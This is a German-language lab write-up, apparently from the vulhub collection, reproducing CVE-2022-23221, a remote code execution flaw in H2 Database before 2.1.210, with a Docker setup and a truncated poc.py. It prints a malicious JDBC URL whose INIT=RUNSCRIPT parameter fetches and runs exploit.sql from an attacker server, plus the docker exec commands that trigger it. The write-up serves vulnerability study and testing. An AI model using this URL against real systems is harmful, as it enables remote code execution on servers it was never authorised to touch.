
H2-database-CVE-2022-23221 — Updated!
# vulhub/H2-database/CVE-2022-23221
H2 Database RCE (CVE-2022-23221)
1. Zusammenfassung
-
H2 ist ein relationales Datenbankmanagementsystem, das die Möglichkeit bietet, Java-Code direkt in der SQL-Engine zu kompilieren und auszuführen.
-
Der H2-Treiber parst JDBC-URLs, um die Verbindung zwischen der Anwendung und der Datenbank herzustellen. Dabei können über die in der URL enthaltenen Konfigurationsparameter der Anfangszustand oder das Verhalten der Datenbank gesteuert werden.
-
In den betroffenen H2-Versionen vor 2.1.210 besteht das Problem, dass über den INIT-Parameter der JDBC-URL entfernte SQL-Skripte ausgeführt werden können. Ein Angreifer kann dies ausnutzen, um manipulierte SQL-Skripte remote einzuschleusen und über deren Syntax Systembefehle auszuführen, wodurch die Schwachstelle CVE-2022-23221 ausgelöst wird.
-
Die Merkmale dieser Schwachstelle sind wie folgt:
- Keine Authentifizierung erforderlich: Jeder, der die Berechtigung zur Eingabe einer JDBC-URL hat, kann diese Schwachstelle nutzen, um die Kontrolle über das System zu übernehmen.
- Automatische Ausführung beim Dienststart: Wenn der Angreifer nur die Konfigurationsdatei ändert, wird beim Start des Dienstes, der H2 verwendet, automatisch RCE (Remote Code Execution) ausgelöst.
- Heimlichkeit: Es ist für Entwickler schwierig, den Angriff zu erkennen.
- Großer Schadensbereich: Aufgrund der hohen Geschwindigkeit und Leichtgewichtigkeit von H2 wird H2 für die Entwicklung und das Testen verschiedener Webdienste verwendet. Da alle Umgebungen, die JDBC-URLs über Konfigurationsdateien oder durch Benutzereingaben festlegen können, Ziel von Angriffen über diese Schwachstelle sein können, ist die Wirkung groß.
-
Betroffener Bereich der Schwachstelle
- Betroffene Versionen: H2 kleiner als 2.1.210
- Patch-Version: H2 2.1.210 oder höher
2. Bedingungen der Schwachstelle
- Es muss eine H2-Version vor 2.1.210 verwendet werden.
- Die JDBC-URL muss
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql'enthalten.IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> Umgehung der Sicherheitseinstellungen- Wenn diese Parameter vorhanden sind, werden die Sicherheitseinstellungen außer Kraft gesetzt, sodass der Befehl zur Ausführung des entfernten Skripts bei der Initialisierung nicht blockiert, sondern ungehindert ausgeführt wird.
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> SQL-Befehl, der automatisch bei der Verbindung zwischen Anwendung und DB ausgeführt wird- Wenn der Wert des INIT-Parameters den SQL-Befehl RUNSCRIPT und die Adresse des bösartigen Skripts enthält, verbindet sich H2 bei erfolgreicher Verbindung zwischen Anwendung und H2-DB mit dem entsprechenden Server, lädt die Datei herunter und führt sie aus.
- Das heruntergeladene SQL-Skript muss eine
CREATE ALIAS-SQL-Anweisung enthalten.- Die
CREATE ALIAS-Anweisung innerhalb des remote auszuführenden Skripts veranlasst H2, die Java-Funktionen im Skript innerhalb der DB auszuführen, was letztendlich zu RCE führt.
- Die
3. Umgebungskonfiguration
-
Szenario
- Eine verwundbare H2-Umgebung wird eingerichtet und eine bösartige JDBC-URL wird in H2 eingegeben. H2 parst diese URL ohne ordnungsgemäße Validierung und lädt die SQL-Datei vom Angreifer-Server herunter und führt sie aus. Wenn im Log des h2-vulnerable-Servers die Zeichenkette „EXPLOITED“ zusammen mit den Ausführungsergebnissen der Befehle
id,whoami,pwdausgegeben wird, bedeutet dies, dass die verwundbare H2-Umgebung eingerichtet wurde und die Datei exploit.sql während des Parsens der bösartigen JDBC-URL durch H2 remote vom externen Angreifer-Server heruntergeladen und ausgeführt wurde.
- Eine verwundbare H2-Umgebung wird eingerichtet und eine bösartige JDBC-URL wird in H2 eingegeben. H2 parst diese URL ohne ordnungsgemäße Validierung und lädt die SQL-Datei vom Angreifer-Server herunter und führt sie aus. Wenn im Log des h2-vulnerable-Servers die Zeichenkette „EXPLOITED“ zusammen mit den Ausführungsergebnissen der Befehle
-
Umgebungskonfiguration
docker compose up -d
- Nach Ausführung des Befehls werden die folgenden Umgebungen gestartet.
- h2-vulnerable: H2 2.0.206 (verwundbare Version vor dem Patch)
- H2-Webkonsole:
http://your-ip:8082 - TCP-Server:
tcp://your-ip:9092
- H2-Webkonsole:
- attacker: HTTP-Server
http://your-ip:8000: Stellt die Dateiexploit.sqlbereit
-
Nach der Umgebungskonfiguration erscheint die H2-Webseite, wenn Sie http://your-ip:8082 aufrufen.
4. Reproduktionsablauf
: Da in der Webkonsole Sicherheitsrichtlinien angewendet werden und die für die Schwachstelle erforderlichen Parameter gefiltert werden können, wird die JDBC-URL mit den bösartigen Parametern direkt über die CLI eingegeben, um die Schwachstelle zu reproduzieren und das Ergebnis zu überprüfen.
[Fall einer normalen Anfrage]
-
Normale JDBC-URL: "jdbc:h2:mem:test"
-
Befehl für normale Anfrage
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
Ausführungsergebnis

- Keine Anfrage auf dem Angreifer-Server eingegangen
- Keine besonderen Logs auf dem h2-vulnerable-Server ausgegeben
[Fall eines Schwachstellenangriffs]
- Bösartige JDBC-URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. Ausführung des Angriffs
-
Die bösartige JDBC-URL wird in den H2-Treiber eingegeben, um eine Verbindung zum Angreifer-Server herzustellen. Es gibt zwei Möglichkeiten, die URL einzugeben.
- Eingabe der bösartigen JDBC-URL direkt in die H2-Shell über die CLI.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- Ausführung der PoC-Datei.
python3 poc.py
2. Dateianfrage und -ausführung
-
H2 fordert gemäß dem im INIT-Parameter der JDBC-URL angegebenen
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'die Datei exploit.sql vom Angreifer-Server an (HTTP GET) und führt sie innerhalb der H2-Datenbank aus.- Mit
docker logs attackerkönnen die Anfrage-Logs für die Datei exploit.sql vom h2-vulnerable-Server eingesehen werden.
docker logs attacker
- Der Angreifer-Server gibt die angeforderte Datei exploit.sql zurück, und der h2-vulnerable-Server führt die empfangene Datei exploit.sql aus. Dabei veranlasst die CREATE ALIAS-Anweisung im Skript die Ausführung von Java-Code, wodurch RCE ausgelöst wird.
- Mit
5. poc.py-Code
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys